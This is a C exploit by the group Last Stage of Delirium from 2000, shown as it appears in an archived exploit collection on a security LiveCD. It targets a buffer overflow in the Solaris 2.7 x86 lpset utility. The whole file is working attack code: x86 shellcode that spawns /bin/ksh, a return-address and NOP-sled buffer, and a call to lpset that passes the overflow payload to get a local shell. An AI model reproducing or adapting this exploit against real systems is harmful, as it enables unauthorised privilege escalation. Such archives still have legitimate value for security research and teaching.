home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / lpset2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  56 lines

  1. /*## copyright LAST STAGE OF DELIRIUM apr 2000 poland        *://lsd-pl.net/ #*/
  2. /*## /usr/bin/lpset                                                          #*/
  3.  
  4. #define NOPNUM 6000
  5. #define ADRNUM 3000
  6. #define ALLIGN 2
  7.  
  8. char shellcode[]=
  9.     "\xeb\x1b"             /* jmp     <shellcode+30>       */
  10.     "\x33\xd2"             /* xorl    %edx,%edx            */
  11.     "\x58"                 /* popl    %eax                 */
  12.     "\x8d\x78\x14"         /* leal    0x14(%eax),edi       */
  13.     "\x52"                 /* pushl   %edx                 */
  14.     "\x57"                 /* pushl   %edi                 */
  15.     "\x50"                 /* pushl   %eax                 */
  16.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  17.     "\x92"                 /* xchgl   %eax,%edx            */
  18.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  19.     "\x88\x42\x08"         /* movb    %al,0x8(%edx)        */
  20.     "\x83\xef\x3c"         /* subl    $0x3c,%edi           */
  21.     "\xb0\x9a"             /* movb    $0x9a,%al            */
  22.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  23.     "\x47"                 /* incl    %edi                 */
  24.     "\xb0\x07"             /* movb    $0x7,%al             */
  25.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  26.     "\xb0\x3b"             /* movb    $0x3b,%al            */
  27.     "\xe8\xe0\xff\xff\xff" /* call    <shellcode+2>        */
  28.     "/bin/ksh"
  29. ;
  30.  
  31. char jump[]=
  32.     "\x8b\xc4"             /* movl    %esp,%eax            */
  33.     "\xc3"                 /* ret                          */
  34. ;
  35.  
  36. main(int argc,char **argv){
  37.     char buffer[10000],adr[4],*b;
  38.     int i;
  39.  
  40.     printf("copyright LAST STAGE OF DELIRIUM apr 2000 poland  //lsd-pl.net/\n");
  41.     printf("/usr/bin/lpset for solaris 2.7 x86\n\n");
  42.  
  43.     *((unsigned long*)adr)=(*(unsigned long(*)())jump)()-1200+5000;
  44.  
  45.     b=buffer;
  46.     sprintf(b,"xxx=");
  47.     b+=4;
  48.     for(i=0;i<ALLIGN;i++) *b++=0xff;
  49.     for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
  50.     for(i=0;i<NOPNUM;i++) *b++=0x90;
  51.     for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; 
  52.     *b=0;
  53.  
  54.     execl("/usr/bin/lpset","lsd","-n","xfn","-a",buffer,"printer",0);
  55. }
  56. /*                    www.hack.co.za           [11 August 2000]*/